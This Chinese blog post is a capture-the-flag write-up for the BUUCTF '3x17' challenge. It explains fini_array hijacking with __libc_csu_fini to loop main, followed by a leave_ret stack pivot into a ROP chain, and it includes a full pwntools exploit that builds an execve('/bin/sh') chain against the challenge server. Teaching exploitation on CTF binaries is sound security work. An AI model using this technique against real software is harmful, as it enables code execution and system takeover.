(BUUCTF)pwnable_317

文章讲述了如何通过劫持fini_array在静态编译环境中创建无限循环,使得main函数无限执行,然后利用任意地址写功能布置ROP链,最终获取shell。作者提供了详细的步骤和代码示例,展示了利用ropchain绕过控制条件的过程。
摘要由CSDN通过智能技术生成

前置知识

  • 静态编译
  • 栈迁移
  • fini_array劫持

fini_array劫持

若只覆盖array[1]main_addr,那么只会执行一次main函数便会执行下一个array中的函数。

要无限执行某个函数,需要使用这个方式:

array[0]覆盖为__libc_csu_fini
array[1]覆盖为另一地址addrA

其中,start函数中的__libc_start_main函数的第一个参数为main函数地址
第四个参数为__libc_csu_init函数,在main函数开始前执行
第五个参数为__libc_csu_fini函数,在main函数结束时执行

这是因为默认情况下,fini数组中函数中存放的函数为:

array[0]:__do_global_dtors_aux
array[1]:fini

而在__libc_csu_fini函数中会调用这两个函数,其执行顺序为array[1] -> array[0]

修改后,其执行顺序将会变为:

main -> __libc_csu_fini -> addrA -> __libc_csu_fini -> addrA -> __libc_csu_fini ....

从而达到无限执行的目的。

终止条件即只要当array[0]不为__libc_csu_fini即可。

通过fini_array栈迁移来实现ROP

通过上面的无限循环方法执行某个函数时,若该函数可以进行一个任意地址写,那么我们便可以利用上述方式在array[2]处布置rop链。

布置完成后,布置fini_array为如下形式:

fini_array + 0x00: leave_ret (gadget)
fini_array + 0x08: ret (gadget)
fini_array + 0x10: ROP chain

由于本身执行的函数是存放于array[1]的,因此执行完后会执行array[0]处的leave_retgadget,导致ripret,然后执行我们布置的rop链。

参考文献

整体思路

题目是静态编译,我们可以在ida中通过shift+f12查看字符串表,并按x交叉引用找到main函数。通过交叉引用main函数可以找到_start函数,从而获得__libc_csu_init函数的地址和__libc_csu_fini函数的地址(分别为_start函数中__libc_start_main函数的第四个和第五个参数)。

查看程序,发现其有一个任意地址写,可以写0x18字节。有一个变量控制主程序的执行条件,为1的时候才能执行。

我们通过任意地址写来劫持fini_array数组(调一下获取地址),写array[0]__libc_csu_fini,写array[1]main_addr,从而完成无限执行main函数,而控制主程序执行条件的变量由于会无限执行,每次都会重新溢出为1,因此相当于不用管直接绕过。

然后通过任意写在array[2]位置处布置rop chain,最后在array[0]leave_retarray[1]ret触发rop获得shell

exp

from pwn import *
from LibcSearcher import *

filename = './3x17'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 28860)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)


def write(addr, data):
    sh.sendafter('addr:', str(addr))
    sh.sendafter('data:', data)


leave_ret_addr = 0x401c4b
syscall_ret_addr = 0x471db5
main_addr = 0x401b6d
start_addr= 0x401a50
libc_csu_fini = 0x402960
fini_array_addr = 0x4b40f0
pop_rdi_ret = 0x401696
pop_rsi_ret = 0x406c30
pop_rdx_ret = 0x446e35
pop_rax_ret = 0x41e4af
ret = 0x401016
bin_sh_addr = fini_array_addr + 8*11
rop_chain_addr = 0x4b4100

sh.sendafter('addr:', str(fini_array_addr))
sh.sendafter('data:', p64(libc_csu_fini) + p64(main_addr))

payload = [p64(pop_rax_ret), p64(59) , p64(pop_rdi_ret) , p64(bin_sh_addr), p64(pop_rsi_ret) , p64(0), p64(pop_rdx_ret), p64(0), p64(syscall_ret_addr), b'/bin/sh\x00']

for index, i in enumerate(payload):
    write(rop_chain_addr + index*8, i)

sh.sendafter('addr:', str(fini_array_addr))
sh.sendafter('data:', p64(leave_ret_addr) + p64(ret))

sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值